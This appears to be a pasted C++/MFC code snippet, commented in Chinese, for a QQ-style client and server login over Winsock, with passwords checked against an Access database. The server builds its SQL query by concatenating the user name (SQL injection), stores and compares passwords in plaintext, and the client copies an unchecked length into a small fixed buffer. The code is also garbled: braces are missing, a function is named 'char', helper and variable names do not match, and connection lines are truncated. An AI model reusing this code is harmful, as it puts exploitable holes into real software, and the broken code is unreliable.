if ((numrcv == 0) || (numrcv == SOCKET_ERROR)) 
    { 
      MessageBox("ERROR: Connection terminated!","用戶登錄",MB_OK); 
      status=closesocket(destSocket); 
      if (status == SOCKET_ERROR) 
    MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
      status=WSACleanup(); 
      if (status == SOCKET_ERROR) 
    MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
      return false; 
    } 
recvText[numrcv]='\0'; 
////////////////////////////////////////////////////////////////////////////// 
/////////////////////讀取返回標誌和使用者資訊/////////////////////////////////// 
char Flag[10]; 
char *pos=strchr(recvText,'!'); 
pos+=1; 
int len_text=strlen(recvText); 
int len_pos=strlen(pos); 
int len=len_text-len_pos; 
for(int i=0;i<len;i++) 
  Flag[i]=recvText[i]; 
Flag[len]='\0'; 
if(strcmp(Flag,"success!")!=0) 
  return false; 
/////////////////////////////////////////////////////////////////////////////// 
///////////////////////將使用者資訊寫入與用戶名對應的檔//////////////////////// 
else 

  CString filename; 
  filename.Format(".\\data\\%s.db",m_username); 
  FILE *file; 
  if((file=fopen(filename,"w"))!=NULL) 
  { 
   fprintf(file,"%s",pos); 
  } 
  fclose(file); 

/////////////////////////////////////////////////////////////////////////////// 
return true; 

//附網路初始化代碼 
BOOL CClientDlg::Init_net() 

/////////////////////////網路初始化/////////////////////////////////// 
status=WSAStartup(MAKEWORD(1, 1), &Data); 
if (status != 0) 
  MessageBox("ERROR: WSAStartup unsuccessful!","用戶登錄",MB_OK); 
destAddr=inet_addr(DEST_IP_ADDR);  //暫時定為本機使用 
memcpy(&destSockAddr.sin_addr, &destAddr,sizeof(destAddr)); 
destSockAddr.sin_port=htons(606); 
destSockAddr.sin_family=AF_INET; 
destSocket=socket(AF_INET, SOCK_STREAM, 0); 
if (destSocket == INVALID_SOCKET) 

  MessageBox("ERROR: socket unsuccessful!","用戶登錄",MB_OK); 
  status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 

////////////////////////////////////////////////////////////////////// 
///////////////////////////連接網路//////////////////////////////////////////// 
status=connect(destSocket, (LPSOCKADDR) &destSockAddr,sizeof(destSockAddr)); 
if (status == SOCKET_ERROR) 

  MessageBox("ERROR: connect unsuccessful!","用戶登錄",MB_OK); 
  status=closesocket(destSocket); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
  status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 

/////////////////////////////////////////////////////////////////////////////// 
return true; 


//////////////////////////////////服務端代碼///////////////////////////////// 
//建立一個基於消息的非同步通訊端 
BOOL CSkyQQsrvDlg::InitSocket() 

m_socket=WSASocket(AF_INET,SOCK_DGRAM,0,NULL,0,0); //WSASocket創建通訊端 
if(INVALID_SOCKET==m_socket) 

  MessageBox("創建通訊端失敗!"); 
  return FALSE; 

SOCKADDR_IN addrSock; 
addrSock.sin_addr.S_un.S_addr=htonl(INADDR_ANY); 
addrSock.sin_family=AF_INET; 
addrSock.sin_port=htons(606);//設置606為監聽埠 
if(SOCKET_ERROR==bind(m_socket,(SOCKADDR*)&addrSock,sizeof(SOCKADDR))) 

  MessageBox("綁定失敗!"); 
  return FALSE; 

if(SOCKET_ERROR==WSAAsyncSelect(m_socket,m_hWnd,UM_SOCK,FD_READ))//請求一個基於消息的網路事件通知非同步通訊端 

  MessageBox("註冊網路讀取事件失敗!"); 
  return FALSE; 

return TRUE; 

//建立消息映射,在SkyQQsrvDlg.h中添加 
#define UM_SOCK  WM_USER+1 //定義消息 
//消息映射 
BEGIN_MESSAGE_MAP(CSkyQQsrvDlg, CDialog) 
//{{AFX_MSG_MAP(CSkyQQsrvDlg) 
// ON_WM_SYSCOMMAND() 
// ON_WM_PAINT() 
// ON_WM_QUERYDRAGICON() 
ON_MESSAGE(UM_SOCK,OnSock) 
// ON_BN_CLICKED(IDC_BTN_SEND, OnBtnSend) 
//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
BOOL bchar=FALSE;//密碼檢測結果 
SOCKET m_socket; 
void CSkyQQsrvDlg::OnSock(WPARAM wParam,LPARAM lParam) 

switch(LOWORD(lParam)) 

case FD_READ:  //讀取事件 
  WSABUF wsabuf; 
  wsabuf.buf=new char[200]; 
  wsabuf.len=200; 
  DWORD dwRead; 
  DWORD dwFlag=0; 
  SOCKADDR_IN addrFrom; 
  int len=sizeof(SOCKADDR); 
  CString str; 
  CString strTemp; 
  HOSTENT *pHost; 
  if(SOCKET_ERROR==WSARecvFrom   (m_socket,&wsabuf,1,&dwRead,&dwFlag,//WSARecvFrom接受資料函數 
      (SOCKADDR*)&addrFrom,&len,NULL,NULL)) 
  { 
   MessageBox("接收資料失敗!"); 
   return; 
  } 
  pHost=gethostbyaddr((char*)&addrFrom.sin_addr.S_un.S_addr,4,AF_INET); 
  addrFromIP.sin_addr.S_un.S_addr=addrFrom.sin_addr.S_un.S_addr; 
  char(wsabuf.buf);//調用密碼檢測函數 
CString strSend; 
if(bchar) 
{//發送驗證成功的消息 
  strsend="success"; 

else    strsend="FALSE"; 
SOCKADDR_IN addrTo; 
addrTo.sin_family=AF_INET; 
addrTo.sin_addr.S_un.S_addr=addrFromIP.sin_addr.S_un.S_addr; 
addrTo.sin_port=Port;//將獲取的資料埠設置為發送資料埠 
len=strSend.GetLength();    //長度 
wsabuf.buf=strSend.GetBuffer(len); 
wsabuf.len=len+1; 
if(SOCKET_ERROR==WSASendTo(m_socket,&wsabuf,1,&dwSend,0, //WSASend發送資料 
   (SOCKADDR*)&addrTo,sizeof(SOCKADDR),NULL,NULL)) 

  MessageBox("發送資料失敗!"); 
  return; 



void char(char * wsabuf) 

_ConnectionPtr m_pConnection; 
_RecordsetPtr m_pRecordset 
CString admin,passwd; 
huanyuan(wsabuf,admin,passwd); 
//假設伺服器上已經有一個ACCESS資料庫檔,檔案名為skywd,並建有user(admin,password)表 
//初始話OLE/COM庫環境 
::CoInitialize(NULL); 
try 

_ConnectionPtr pConn(__uuidof(Connection)); 
pConn->C; 
pConn->Open("","","",adConnectUnspecified); //打開對資料庫的連接,使用者ID和密碼,同步打開這個連接 
m_pC; 

//捕捉異常 
catch(_com_error e) 
{   //顯示錯誤資訊 
//  AfxMessageBox(e.Description()); 
  AfxMessageBox("資料庫連接出錯"); 

//設置INSERT語句,查詢資料 
_bstr_t vSQL; 
vSQL = "SELECT * FROM user WHERE admin = '" +admin + "'" ; //變數直接加,字串用""括起來 
try 

m_pRecordset.CreateInstance(__uuidof(Recordset)); 
m_pRecordset->Open(vSQL,m_pConnection.GetInterfacePtr(), //直接用記錄集物件查詢 
adOpenDynamic,adLockOptimistic,adCmdText); 

catch(_com_error e) 

  AfxMessageBox(e.Description()); 

_variant_t  var = m_pRecordset->GetCollect("password"); 
  if(var.vt!=VT_NULL) 
  { 
   if(passwd==(LPCTSTR)_bstr_t(var)) 
   bchar=TRUE;//通過驗證 
  } 
  else 
  { //如果答案為空,則重建答案 
   bchar=FALSE; 
  } 
//斷開資料庫連接 
if(m_pRecordset!=NULL) 
m_pRecordset->Close(); 
m_pConnection->Close(); 


zhuanhuan(char * wsabuf,CString admin,CString passwd)
{
    CString str1=wsabuf;
    int n1=str1.Find(":");
    int n2=str1.Find(",");
    int n3=str1.Getlength()-1;
    admin=str1.Left(n2);
    admin=admin.Right(n2-n1-1);
    passwd=str1.Right(n3-n2-1);
}